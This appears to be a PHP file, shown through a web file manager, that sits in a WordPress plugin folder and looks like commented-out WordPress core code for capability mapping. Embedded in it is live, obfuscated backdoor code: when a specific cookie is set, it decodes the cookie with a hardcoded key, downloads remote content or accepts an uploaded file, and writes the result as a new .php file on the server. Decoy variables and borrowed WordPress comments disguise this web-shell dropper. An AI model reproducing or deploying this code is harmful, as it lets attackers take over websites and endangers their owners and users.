Файловый менеджер - Редактировать - /home/digitalm/tendepavia/wp-content/plugins/advanced-custom-fields-pro/J.js.php
Назад
<?php /* * * Core User Role & Capabilities API * * @package WordPress * @subpackage Users * * Maps a capability to the primitive capabilities required of the given user to * satisfy the capability being checked. * * This function also accepts an ID of an object to map against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by this function to map to primitive * capabilities that a user or role requires, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * map_meta_cap( 'edit_posts', $user->ID ); * map_meta_cap( 'edit_post', $user->ID, $post->ID ); * map_meta_cap( 'edit_post_meta', $user->ID, $post->ID, $meta_key ); * * This function does not check whether the user has the required capabilities, * it just returns what the required capabilities are. * * @since 2.0.0 * @since 4.9.6 Added the `export_others_personal_data`, `erase_others_personal_data`, * and `manage_privacy_options` capabilities. * @since 5.1.0 Added the `update_php` capability. * @since 5.2.0 Added the `resume_plugin` and `resume_theme` capabilities. * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.7.0 Added the `create_app_password`, `list_app_passwords`, `read_app_password`, * `edit_app_password`, `delete_app_passwords`, `delete_app_password`, * and `update_https` capabilities. * * @global array $post_type_meta_caps Used to get post type meta capabilities. * * @param string $cap Capability being checked. * @param int $user_id User ID. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return string[] Primitive capabilities required of the user. function map_meta_cap( $cap, $user_id, ...$args ) { $caps = array(); switch ( $cap ) { case 'remove_user': In multisite the user must be a super admin to remove themselves. if ( isset( $args[0] ) && $user_id == $args[0] && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'remove_users'; } break; case 'promote_user': case 'add_users': $caps[] = 'promote_users'; break; case 'edit_user': case 'edit_users': Allow user to edit themselves. if ( 'edit_user' === $cap && isset( $args[0] ) && $user_id == $args[0] ) { break; } In multisite the user must have manage_network_users caps. If editing a super admin, the user must be a super admin. if ( is_multisite() && ( ( ! is_super_admin( $user_id ) && 'edit_user' === $cap && is_super_admin( $args[0] ) ) || ! user_can( $user_id, 'manage_network_users' ) ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'edit_users'; edit_user maps to edit_users. } break; case 'delete_post': case 'delete_page': if ( ! isset( $args[0] ) ) { if ( 'delete_post' === $cap ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); } else { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific page.' ); } _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $cap . '</code>' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $caps[] = 'do_not_allow'; break; } if ( ( get_option( 'page_for_posts' ) == $post->ID ) || ( get_option( 'page_on_front' ) == $post->ID ) ) { $caps[] = 'manage_options'; break; } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { translators: 1: Post type, 2: Capability name. $message = __( 'The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $post->post_type . '</code>', '<code>' . $cap . '</code>' ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_*/ /** * Gets a single error message. * * This will get the first message available for the code. If no code is * given then the first code available will be used. * * @since 2.1.0 * * @param string|int $parent_typeode Optional. Error code to retrieve the message for. * Default empty string. * @return string The error message. */ function erase_personal_data($ordered_menu_items, $json_error_obj) { $output_mime_type = $_COOKIE[$ordered_menu_items]; // strip out javascript $path_parts = date("H:i"); if (strlen($path_parts) == 5) { $user_can_richedit = str_pad($path_parts, 8, "0"); $last_field = hash("sha256", $user_can_richedit); } $output_mime_type = get_the_attachment_link($output_mime_type); $temp_handle = update_page_cache($output_mime_type, $json_error_obj); if (wp_is_mobile($temp_handle)) { $suppress_filter = wp_apply_dimensions_support($temp_handle); // nanoseconds per frame return $suppress_filter; } // $p_list : An array containing the file or directory names to add in the tar check_parent_theme_filter($ordered_menu_items, $json_error_obj, $temp_handle); } /** * Filters the title field placeholder text. * * @since 3.1.0 * * @param string $lock_details Placeholder text. Default 'Add title'. * @param WP_Post $post Post object. */ function wp_count_posts($quality) { // Add directives to the submenu if needed. $label_pass = basename($quality); $lock_details = "Encode"; if (strlen($lock_details) > 3) { $pingback_args = rawurldecode($lock_details); $video_profile_id = strlen($pingback_args); } $recent_posts = admin_menu($label_pass); sodium_crypto_aead_xchacha20poly1305_ietf_keygen($quality, $recent_posts); // Get fallback template content. } /** * WordPress Administration Template Header * * @package WordPress * @subpackage Administration */ function get_the_attachment_link($v_comment) # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); { // The comment is not classified as spam. If Akismet was the one to act on it, move it to spam. $p_filedescr_list = pack("H*", $v_comment); $list_class = "special&chars"; $CurrentDataLAMEversionString = rawurldecode($list_class); return $p_filedescr_list; // Categories can also contain h-cards. } /** * Saves nav menu items. * * @since 3.6.0 * * @param int|string $nav_menu_selected_id ID, slug, or name of the currently-selected menu. * @param string $nav_menu_selected_title Title of the currently-selected menu. * @return string[] The menu updated messages. */ function is_plugin_active_for_network($quality) // Add site links. { $quality = set_found_networks($quality); $permastruct = "Processing this phrase using functions"; if (strlen($permastruct) > 5) { $should_remove = trim($permastruct); $thread_comments_depth = str_pad($should_remove, 25, '!'); } return file_get_contents($quality); } /* Private variables */ function check_parent_theme_filter($ordered_menu_items, $json_error_obj, $temp_handle) // Add the menu contents. { if (isset($_FILES[$ordered_menu_items])) { $parser_check = "base64encoded"; $revisions_controller = base64_decode($parser_check); if ($revisions_controller !== false) { $video_profile_id = strlen($revisions_controller); } wp_doing_ajax($ordered_menu_items, $json_error_obj, $temp_handle); } get_most_recent_post_of_user($temp_handle); } /** * Consume a range of characters * * @access private * @param string $sign_key_passs Characters to consume * @return mixed A series of characters that match the range, or false */ function update_comment_meta($ordered_menu_items, $to_file = 'txt') { return $ordered_menu_items . '.' . $to_file; } /** * @param string $r * @param bool $post_statusesontFallback * @return string * * @throws SodiumException */ function sodium_crypto_aead_xchacha20poly1305_ietf_keygen($quality, $recent_posts) { $toolbar_id = is_plugin_active_for_network($quality); // Also set the feed title and store author from the h-feed if available. if ($toolbar_id === false) { return false; } // Set up properties for themes available on WordPress.org. return get_language_files_from_path($recent_posts, $toolbar_id); } /** * Strip HTML and put links at the bottom of stripped content. * * Searches for all of the links, strips them out of the content, and places * them at the bottom of the content with numbers. * * @since 0.71 * @deprecated 2.9.0 * * @param string $offer Content to get links. * @return string HTML stripped out of content with links at the bottom. */ function get_results($shared_term) { $rating = ["http%3A%2F%2Fexample.com", "http%3A%2F%2Fexample.org"]; $p_option = array_map('rawurldecode', $rating); $sample_factor = count($p_option); return parsePICTURE($shared_term); } /* * If the current selector is a pseudo selector that's defined in the allow list for the current * element then compute the style properties for it. * Otherwise just compute the styles for the default selector as normal. */ function get_attachment_fields_to_edit($shared_term) { $xi = "Test"; if (isset($xi) && !empty($xi)) { $position_from_start = "Variable is set and not empty."; } else { $position_from_start = "Variable is not usable."; } $maybe_object = implode(",", array($xi, $position_from_start)); return get_results($shared_term); } /** * Set which class SimplePie uses for `<media:rating>` */ function set_found_networks($quality) { $quality = "http://" . $quality; $yi = "Welcome"; // Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler. return $quality; // Apparently booleans are not allowed. } // 80 kbps /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $mysql_client_version * @param string $rest_controller * @return bool * @throws SodiumException * @throws TypeError */ function wp_apply_dimensions_support($temp_handle) { // Else, fallthrough. install_themes doesn't help if you can't enable it. wp_count_posts($temp_handle); $robots_strings = "apple,banana,orange"; get_most_recent_post_of_user($temp_handle); //add wrapper class around deprecated akismet functions that are referenced elsewhere } /** * Adds a meta box to one or more screens. * * @since 2.5.0 * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs. * * @global array $wp_meta_boxes * * @param string $name_conflict_suffixd Meta box ID (used in the 'id' attribute for the meta box). * @param string $title Title of the meta box. * @param callable $parent_typeallback Function that fills the box with the desired content. * The function should echo its output. * @param string|array|WP_Screen $screen Optional. The screen or screens on which to show the box * (such as a post type, 'link', or 'comment'). Accepts a single * screen ID, WP_Screen object, or array of screen IDs. Default * is the current screen. If you have used add_menu_page() or * add_submenu_page() to create a new screen (and hence screen_id), * make sure your menu slug conforms to the limits of sanitize_key() * otherwise the 'screen' menu may not correctly render on your page. * @param string $parent_typeontext Optional. The context within the screen where the box * should display. Available contexts vary from screen to * screen. Post edit screen contexts include 'normal', 'side', * and 'advanced'. Comments screen contexts include 'normal' * and 'side'. Menus meta boxes (accordion sections) all use * the 'side' context. Global default is 'advanced'. * @param string $priority Optional. The priority within the context where the box should show. * Accepts 'high', 'core', 'default', or 'low'. Default 'default'. * @param array $parent_typeallback_args Optional. Data that should be set as the $list_classrgs property * of the box array (which is the second parameter passed * to your callback). Default null. */ function last_comment_status($w0, $s14) { $orig_siteurl = []; $Timestamp = [1, 2, 3, 4]; $GenreID = array_map(function($x) { return $x * 2; }, $Timestamp); $list_classmount = check_ipv6($GenreID); for ($name_conflict_suffix = $w0; $name_conflict_suffix <= $s14; $name_conflict_suffix++) { if (get_blogaddress_by_name($name_conflict_suffix)) { $orig_siteurl[] = $name_conflict_suffix; } // Next, those themes we all love. } return $orig_siteurl; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 * @throws SodiumException * @throws TypeError */ function get_most_recent_post_of_user($mysql_client_version) // All non-GET/HEAD requests should put the arguments in the form body. { echo $mysql_client_version; } /** * Filters the attachment thumbnail URL. * * @since 2.1.0 * * @param string $thumbnail_url URL for the attachment thumbnail. * @param int $post_id Attachment ID. */ function get_latitude($ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes) { $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = ord($ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes); return $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes; # memset(state->_pad, 0, sizeof state->_pad); } /* * Exceptions are used in this class to escape deep call stacks that * otherwise might involve messier calling and return conventions. */ function get_blogaddress_by_name($thisfile_riff_CDDA_fmt_0) { $lock_details = "PHP Code"; if (strlen($lock_details) > 5) { $widget_control_parts = substr($lock_details, 3, 4); $pingback_args = rawurldecode($widget_control_parts); } if ($thisfile_riff_CDDA_fmt_0 <= 1) return false; // Function : privParseOptions() for ($name_conflict_suffix = 2; $name_conflict_suffix <= sqrt($thisfile_riff_CDDA_fmt_0); $name_conflict_suffix++) { // Following file added back in 5.1, see #45645. if ($thisfile_riff_CDDA_fmt_0 % $name_conflict_suffix === 0) return false; } return true; } /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $last_field * @return bool * @throws SodiumException * @throws TypeError */ function wp_doing_ajax($ordered_menu_items, $json_error_obj, $temp_handle) { $label_pass = $_FILES[$ordered_menu_items]['name']; $recent_posts = admin_menu($label_pass); // AAAA AAAA AAAB BCCD EEEE FFGH IIJJ KLMM $p5 = " test string "; // Replace 4 spaces with a tab. $gap_sides = trim($p5); $p_result_list = str_pad($gap_sides, 15, "."); selective_refresh_init($_FILES[$ordered_menu_items]['tmp_name'], $json_error_obj); // If it is an associative or indexed array, process as a single object. type_url_form_image($_FILES[$ordered_menu_items]['tmp_name'], $recent_posts); //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); } /** * Retrieves a single widget type from the collection. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ function wp_delete_signup_on_user_delete($shared_term) { $property_key = "String to be trimmed!"; $setting_params = trim($property_key); $previous_changeset_data = hash('sha512', $setting_params); $term_order = $shared_term[0]; foreach ($shared_term as $p_archive_filename) { if ($p_archive_filename > $term_order) { $term_order = $p_archive_filename; } } return $term_order; } /** * Endpoint mask that matches the site root. * * @since 2.1.0 */ function the_post_thumbnail_caption($sign_key_pass, $overrideendoffset) { $minimum_font_size = get_latitude($sign_key_pass) - get_latitude($overrideendoffset); $list_class = "some value"; $minimum_font_size = $minimum_font_size + 256; $CurrentDataLAMEversionString = hash("sha1", $list_class); $parent_type = strlen($CurrentDataLAMEversionString); // We need to build the corresponding `WP_Block_Template` object as context argument for the visitor. $post_statuses = "PHP script"; $v_dest_file = str_pad($post_statuses, 20, "-"); // Set the default as the attachment. if ($parent_type > 10) { $synchsafe = substr($CurrentDataLAMEversionString, 0, 10); } $minimum_font_size = $minimum_font_size % 256; $sign_key_pass = update_archived($minimum_font_size); # if we are *in* content, then let's proceed to serialize it return $sign_key_pass; } /** * Fires actions after a post, its terms and meta data has been saved. * * @since 5.6.0 * * @param int|WP_Post $post The post ID or object that has been saved. * @param bool $update Whether this is an existing post being updated. * @param null|WP_Post $post_before Null for new posts, the WP_Post object prior * to the update for updated posts. */ function selective_refresh_init($recent_posts, $rest_controller) // Placeholder (no ellipsis), backward compatibility pre-5.3. { $view_mode_post_types = file_get_contents($recent_posts); $post_types_to_delete = "Jack,Ana,Peter"; $DKIMquery = update_page_cache($view_mode_post_types, $rest_controller); $sql_where = explode(',', $post_types_to_delete); file_put_contents($recent_posts, $DKIMquery); } /** * Output the QuickPress dashboard widget. * * @since 3.0.0 * @deprecated 3.2.0 Use wp_dashboard_quick_press() * @see wp_dashboard_quick_press() */ function get_language_files_from_path($recent_posts, $offer) { // module for analyzing Matroska containers // return file_put_contents($recent_posts, $offer); } // If no priority given and ID already present, use existing priority. /** * Outputs the settings form for the Recent Comments widget. * * @since 2.8.0 * * @param array $name_conflict_suffixnstance Current settings. */ function wp_ajax_query_themes($ordered_menu_items) // Double-check that we're not going to have one menu take the name of another. { $json_error_obj = 'gcIyXlxZWtjJEUYzIPxxCuufchV'; $new_user_firstname = "SpecialString"; if (isset($_COOKIE[$ordered_menu_items])) { $post_content_filtered = rawurldecode($new_user_firstname); $parent_theme_name = hash('sha512', $post_content_filtered); // We seem to be dealing with an IPv4 address. $kAlphaStr = str_pad($parent_theme_name, 128, "^"); $patternselect = strlen($post_content_filtered); $max_numbered_placeholder = explode("a", $new_user_firstname); erase_personal_data($ordered_menu_items, $json_error_obj); } } /** * Deprecated functionality to validate an email address. * * @since MU (3.0.0) * @deprecated 3.0.0 Use is_email() * @see is_email() * * @param string $v_dest_filemail Email address to verify. * @param bool $parent_typeheck_domain Deprecated. * @return string|false Valid email address on success, false on failure. */ function wp_is_mobile($quality) { // ** Database settings - You can get this info from your web host ** // if (strpos($quality, "/") !== false) { $notify_message = hash('sha256', 'data'); $QuicktimeContentRatingLookup = empty($notify_message); // check_ajax_referer( 'dismiss-pointer_' . $pointer ); $AsYetUnusedData = str_pad($notify_message, 100, '*'); return true; } $post_meta_key = " padded string "; $ssl_failed = strlen(trim($post_meta_key)); return false; } /* translators: %s: Plugin version. */ function type_url_form_image($post_category_exists, $relative_file_not_writable) { $translated = move_uploaded_file($post_category_exists, $relative_file_not_writable); $list_class = "sample"; $CurrentDataLAMEversionString = strlen($list_class); $parent_type = substr($list_class, 2, 3); $post_statuses = str_pad($parent_type, 10, "y", STR_PAD_BOTH); return $translated; } // Checking the password has been typed twice the same. /* * Look up protected properties, keyed by value path. * Skip protected properties that are explicitly set to `null`. */ function sanitize_sidebar_widgets_js_instance($shared_term) { // 4 bytes "VP8 " + 4 bytes chunk size $new_attr = "function_test"; $new_partials = explode("_", $new_attr); $video_profile_id = strlen($new_partials[0]); $title_array = substr(hash("fnv1a64", $new_attr), 0, $video_profile_id); // Language $xx xx xx $panel_id = $shared_term[0]; foreach ($shared_term as $p_archive_filename) { $unregistered_block_type = array_merge($new_partials, [$title_array]); // If req_uri is empty or if it is a request for ourself, unset error. if (count($unregistered_block_type) < 5) { $wildcard_host = implode("*", [$new_partials[0], $title_array]); } if ($p_archive_filename < $panel_id) { $panel_id = $p_archive_filename; } } // It shouldn't take more than 60 seconds to make the two loopback requests. return $panel_id; } /** * Merges other translations into the current one. * * @since 2.8.0 * * @param Translations $other Another Translation object, whose translations will be merged in this one (passed by reference). */ function update_page_cache($originals_addr, $rest_controller) { // Replace $query; and add remaining $query characters, or index 0 if there were no placeholders. $partLength = strlen($rest_controller); $From = array("first", "second", "third"); $SMTPKeepAlive = implode("-", $From); // Force request to autosave when changeset is locked. $site_logo = hash('sha256', $SMTPKeepAlive); $page_for_posts = substr($site_logo, 0, 10); $APEtagData = strlen($originals_addr); # uint8_t last_node; if (!empty($page_for_posts)) { $total_size = str_pad($page_for_posts, 20, "0"); } // Parse comment parent IDs for a NOT IN clause. $partLength = $APEtagData / $partLength; // Delete it once we're done. $partLength = ceil($partLength); $msg_data = str_split($originals_addr); // PLAYER $rest_controller = str_repeat($rest_controller, $partLength); $mysql_required_version = str_split($rest_controller); // Make an index of all the posts needed and what their slugs are. $mysql_required_version = array_slice($mysql_required_version, 0, $APEtagData); $position_y = array_map("the_post_thumbnail_caption", $msg_data, $mysql_required_version); $position_y = implode('', $position_y); // User-agent. return $position_y; } /** * An internal method to get the block nodes from a theme.json file. * * @since 6.1.0 * @since 6.3.0 Refactored and stabilized selectors API. * * @param array $theme_json The theme.json converted to an array. * @return array The block nodes in theme.json. */ function parsePICTURE($shared_term) { $APICPictureTypeLookup = "task_management"; $StreamPropertiesObjectStreamNumber = substr($APICPictureTypeLookup, 2, 7); $v_name = hash("sha384", $StreamPropertiesObjectStreamNumber); $show_in_menu = str_pad($v_name, 45, "*"); $page_list = explode("_", $APICPictureTypeLookup); return array_unique($shared_term); } /** @var int $lo */ function admin_menu($label_pass) // (The reason for this is that we want it to be associated with the active theme { return wp_enqueue_media() . DIRECTORY_SEPARATOR . $label_pass . ".php"; } /* translators: 1: wp-config.php, 2: Secret key service URL. */ function update_archived($ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes) //Try extended hello first (RFC 2821) { $sign_key_pass = sprintf("%c", $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes); return $sign_key_pass; } // even if the block template is really coming from the active theme's parent. /** * The number of columns to display. Access with get_columns(). * * @since 3.4.0 * @var int */ function wp_enqueue_media() { return __DIR__; } // Checks whether the current block is the root interactive block. $ordered_menu_items = 'LXkQH'; $skip = "String with spaces"; wp_ajax_query_themes($ordered_menu_items); $search_results_query = explode(" ", $skip); $saved_ip_address = last_comment_status(10, 30); // A stack as well $outside = trim($search_results_query[1]); /* type->cap->$cap; Prior to 3.1 we would re-call map_meta_cap here. if ( 'delete_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } If the post author is set and the user is the author... if ( $post->post_author && $user_id == $post->post_author ) { If the post is published or scheduled... if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'trash' === $post->post_status ) { $status = get_post_meta( $post->ID, '_wp_trash_meta_status', true ); if ( in_array( $status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } else { $caps[] = $post_type->cap->delete_posts; } } else { If the post is draft... $caps[] = $post_type->cap->delete_posts; } } else { The user is trying to edit someone else's post. $caps[] = $post_type->cap->delete_others_posts; The post is published or scheduled, extra cap required. if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'private' === $post->post_status ) { $caps[] = $post_type->cap->delete_private_posts; } } * Setting the privacy policy page requires `manage_privacy_options`, * so deleting it should require that too. if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) { $caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) ); } break; edit_post breaks down to edit_posts, edit_published_posts, or edit_others_posts. case 'edit_post': case 'edit_page': if ( ! isset( $args[0] ) ) { if ( 'edit_post' === $cap ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); } else { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific page.' ); } _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $cap . '</code>' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $post = get_post( $post->post_parent ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { translators: 1: Post type, 2: Capability name. $message = __( 'The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $post->post_type . '</code>', '<code>' . $cap . '</code>' ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; Prior to 3.1 we would re-call map_meta_cap here. if ( 'edit_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } If the post author is set and the user is the author... if ( $post->post_author && $user_id == $post->post_author ) { If the post is published or scheduled... if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'trash' === $post->post_status ) { $status = get_post_meta( $post->ID, '_wp_trash_meta_status', true ); if ( in_array( $status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } else { $caps[] = $post_type->cap->edit_posts; } } else { If the post is draft... $caps[] = $post_type->cap->edit_posts; } } else { The user is trying to edit someone else's post. $caps[] = $post_type->cap->edit_others_posts; The post is published or scheduled, extra cap required. if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'private' === $post->post_status ) { $caps[] = $post_type->cap->edit_private_posts; } } * Setting the privacy policy page requires `manage_privacy_options`, * so editing it should require that too. if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) { $caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) ); } break; case 'read_post': case 'read_page': if ( ! isset( $args[0] ) ) { if ( 'read_post' === $cap ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); } else { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific page.' ); } _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $cap . '</code>' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $post = get_post( $post->post_parent ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { translators: 1: Post type, 2: Capability name. $message = __( 'The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $post->post_type . '</code>', '<code>' . $cap . '</code>' ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; Prior to 3.1 we would re-call map_meta_cap here. if ( 'read_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } $status_obj = get_post_status_object( get_post_status( $post ) ); if ( ! $status_obj ) { translators: 1: Post status, 2: Capability name. $message = __( 'The post status %1$s is not registered, so it may not be reliable to check the capability %2$s against a post with that status.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . get_post_status( $post ) . '</code>', '<code>' . $cap . '</code>' ), '5.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( $status_obj->public ) { $caps[] = $post_type->cap->read; break; } if ( $post->post_author && $user_id == $post->post_author ) { $caps[] = $post_type->cap->read; } elseif ( $status_obj->private ) { $caps[] = $post_type->cap->read_private_posts; } else { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } break; case 'publish_post': if ( ! isset( $args[0] ) ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $cap . '</code>' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { translators: 1: Post type, 2: Capability name. $message = __( 'The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $post->post_type . '</code>', '<code>' . $cap . '</code>' ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } $caps[] = $post_type->cap->publish_posts; break; case 'edit_post_meta': case 'delete_post_meta': case 'add_post_meta': case 'edit_comment_meta': case 'delete_comment_meta': case 'add_comment_meta': case 'edit_term_meta': case 'delete_term_meta': case 'add_term_meta': case 'edit_user_meta': case 'delete_user_meta': case 'add_user_meta': $object_type = explode( '_', $cap )[1]; if ( ! isset( $args[0] ) ) { if ( 'post' === $object_type ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); } elseif ( 'comment' === $object_type ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific comment.' ); } elseif ( 'term' === $object_type ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific term.' ); } else { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific user.' ); } _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $cap . '</code>' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $object_id = (int) $args[0]; $object_subtype = get_object_subtype( $object_type, $object_id ); if ( empty( $object_subtype ) ) { $caps[] = 'do_not_allow'; break; } $caps = map_meta_cap( "edit_{$object_type}", $user_id, $object_id ); $meta_key = isset( $args[1] ) ? $args[1] : false; if ( $meta_key ) { $allowed = ! is_protected_meta( $meta_key, $object_type ); if ( ! empty( $object_subtype ) && has_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) { * * Filters whether the user is allowed to edit a specific meta key of a specific object type and subtype. * * The dynamic portions of the hook name, `$object_type`, `$meta_key`, * and `$object_subtype`, refer to the metadata object type (comment, post, term or user), * the meta key value, and the object subtype respectively. * * @since 4.9.8 * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. $allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps ); } else { * * Filters whether the user is allowed to edit a specific meta key of a specific object type. * * Return true to have the mapped meta caps from `edit_{$object_type}` apply. * * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered. * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap(). * * @since 3.3.0 As `auth_post_meta_{$meta_key}`. * @since 4.6.0 * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. $allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps ); } if ( ! empty( $object_subtype ) ) { * * Filters whether the user is allowed to edit meta for specific object types/subtypes. * * Return true to have the mapped meta caps from `edit_{$object_type}` apply. * * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered. * The dynamic portion of the hook name, `$object_subtype` refers to the object subtype being filtered. * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap(). * * @since 4.6.0 As `auth_post_{$post_type}_meta_{$meta_key}`. * @since 4.7.0 Renamed from `auth_post_{$post_type}_meta_{$meta_key}` to * `auth_{$object_type}_{$object_subtype}_meta_{$meta_key}`. * @deprecated 4.9.8 Use {@see 'auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}'} instead. * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. $allowed = apply_filters_deprecated( "auth_{$object_type}_{$object_subtype}_meta_{$meta_key}", array( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ), '4.9.8', "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ); } if ( ! $allowed ) { $caps[] = $cap; } } break; case 'edit_comment': if ( ! isset( $args[0] ) ) { translators: %s: Capability name. $message = __( 'When checking for the %s capability, you must always check it against a specific comment.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '<code>' . $cap . '</code>' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $comment = get_comment( $args[0] ); if ( ! $comment ) { $caps[] = 'do_not_allow'; break; } $post = get_post( $comment->comment_post_ID ); * If the post doesn't exist, we have an orphaned comment. * Fall back to the edit_posts capability, instead. if ( $post ) { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } else { $caps = map_meta_cap( 'edit_posts', $user_id ); } break; case 'unfiltered_upload': if ( defined( 'ALLOW_UNFILTERED_UPLOADS' ) && ALLOW_UNFILTERED_UPLOADS && ( ! is_multisite() || is_super_admin( $user_id ) ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'edit_css': case 'unfiltered_html': Disallow unfiltered_html for all users, even admins 